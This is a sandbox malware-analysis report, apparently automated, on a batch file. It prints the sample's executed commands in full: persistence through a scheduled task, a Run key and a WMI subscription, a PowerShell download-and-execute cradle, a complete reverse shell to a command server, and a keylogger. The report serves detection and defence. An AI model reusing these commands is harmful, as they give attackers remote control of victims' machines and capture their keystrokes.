Analysis
- max time kernel
150s - max time network
152s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 01:38
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_333344_014835.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_333344_014835.bat
Resource
win11-20260513-en
General
- Target rat_build_333344_014835.bat
- Size 4KB
- Sample260529-b2ppqahs3t
- SHA256 a29904aaf9a3c3e4c94a361a4f91070b623c6e1475567f05d4876ff35fd6ed77
- MD5 d619462bc47f639dda2d0d893a3c834d
- SHA1 32ec3b82facc9d51161d17bfbf7229d6b43a7cbe
- SHA512 37e27b407b03338fedfd82e88bb5a8de2a9281ab7d47b2380718e7e5827c033cb78b41b4aafd0b8a499abb9074c3cab1321af9514f8a539dbd566ddc471f35aa
- SSDEEP 96:8I7TWboBIZt4tnzh51aNFOS6opWV9/qgJyhpAiFgZk8mvlo18Ir:8Pbo2mlYXOb/qryiFgkHlQr
- TLSH T14FA1D727539B62208AB16708ED323868576CD5FB3341CD8EFB48C9C1194DB4B89786EB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_333344.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4476 powershell.exe 2420 powershell.exe 3364 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_333344 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_333344.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3812 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4892 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3928 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4928 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2420 powershell.exe 2420 powershell.exe 3364 powershell.exe 3364 powershell.exe 4476 powershell.exe 4476 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3996 WMIC.exe Token: SeSecurityPrivilege 3996 WMIC.exe Token: SeTakeOwnershipPrivilege 3996 WMIC.exe Token: SeLoadDriverPrivilege 3996 WMIC.exe Token: SeSystemProfilePrivilege 3996 WMIC.exe Token: SeSystemtimePrivilege 3996 WMIC.exe Token: SeProfSingleProcessPrivilege 3996 WMIC.exe Token: SeIncBasePriorityPrivilege 3996 WMIC.exe Token: SeCreatePagefilePrivilege 3996 WMIC.exe Token: SeBackupPrivilege 3996 WMIC.exe Token: SeRestorePrivilege 3996 WMIC.exe Token: SeShutdownPrivilege 3996 WMIC.exe Token: SeDebugPrivilege 3996 WMIC.exe Token: SeSystemEnvironmentPrivilege 3996 WMIC.exe Token: SeRemoteShutdownPrivilege 3996 WMIC.exe Token: SeUndockPrivilege 3996 WMIC.exe Token: SeManageVolumePrivilege 3996 WMIC.exe Token: 33 3996 WMIC.exe Token: 34 3996 WMIC.exe Token: 35 3996 WMIC.exe Token: 36 3996 WMIC.exe Token: SeIncreaseQuotaPrivilege 3996 WMIC.exe Token: SeSecurityPrivilege 3996 WMIC.exe Token: SeTakeOwnershipPrivilege 3996 WMIC.exe Token: SeLoadDriverPrivilege 3996 WMIC.exe Token: SeSystemProfilePrivilege 3996 WMIC.exe Token: SeSystemtimePrivilege 3996 WMIC.exe Token: SeProfSingleProcessPrivilege 3996 WMIC.exe Token: SeIncBasePriorityPrivilege 3996 WMIC.exe Token: SeCreatePagefilePrivilege 3996 WMIC.exe Token: SeBackupPrivilege 3996 WMIC.exe Token: SeRestorePrivilege 3996 WMIC.exe Token: SeShutdownPrivilege 3996 WMIC.exe Token: SeDebugPrivilege 3996 WMIC.exe Token: SeSystemEnvironmentPrivilege 3996 WMIC.exe Token: SeRemoteShutdownPrivilege 3996 WMIC.exe Token: SeUndockPrivilege 3996 WMIC.exe Token: SeManageVolumePrivilege 3996 WMIC.exe Token: 33 3996 WMIC.exe Token: 34 3996 WMIC.exe Token: 35 3996 WMIC.exe Token: 36 3996 WMIC.exe Token: SeIncreaseQuotaPrivilege 8 WMIC.exe Token: SeSecurityPrivilege 8 WMIC.exe Token: SeTakeOwnershipPrivilege 8 WMIC.exe Token: SeLoadDriverPrivilege 8 WMIC.exe Token: SeSystemProfilePrivilege 8 WMIC.exe Token: SeSystemtimePrivilege 8 WMIC.exe Token: SeProfSingleProcessPrivilege 8 WMIC.exe Token: SeIncBasePriorityPrivilege 8 WMIC.exe Token: SeCreatePagefilePrivilege 8 WMIC.exe Token: SeBackupPrivilege 8 WMIC.exe Token: SeRestorePrivilege 8 WMIC.exe Token: SeShutdownPrivilege 8 WMIC.exe Token: SeDebugPrivilege 8 WMIC.exe Token: SeSystemEnvironmentPrivilege 8 WMIC.exe Token: SeRemoteShutdownPrivilege 8 WMIC.exe Token: SeUndockPrivilege 8 WMIC.exe Token: SeManageVolumePrivilege 8 WMIC.exe Token: 33 8 WMIC.exe Token: 34 8 WMIC.exe Token: 35 8 WMIC.exe Token: 36 8 WMIC.exe Token: SeIncreaseQuotaPrivilege 8 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 5064 wrote to memory of 4928 5064 cmd.exe 83 PID 5064 wrote to memory of 3928 5064 cmd.exe 84 PID 5064 wrote to memory of 3996 5064 cmd.exe 85 PID 5064 wrote to memory of 8 5064 cmd.exe 86 PID 5064 wrote to memory of 1868 5064 cmd.exe 87 PID 5064 wrote to memory of 4892 5064 cmd.exe 89 PID 5064 wrote to memory of 3812 5064 cmd.exe 94 PID 5064 wrote to memory of 2420 5064 cmd.exe 95 PID 5064 wrote to memory of 3364 5064 cmd.exe 96 PID 5064 wrote to memory of 4476 5064 cmd.exe 97 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_333344_014835.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_333344" /tr "C:\Users\Admin\AppData\Local\Temp\_333344.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4928
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_333344" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_333344.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:3928
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_333344", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3996
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_333344", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_333344.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:8
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-
C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_333344.txt2⤵PID:1868
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:4892
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3812
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_333344.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2420
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3364
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4476
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
- MD5 7a9772bc4c578c1736aa04a056f68da3
- SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
- SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
- TLSH T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_htxoifee.whm.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH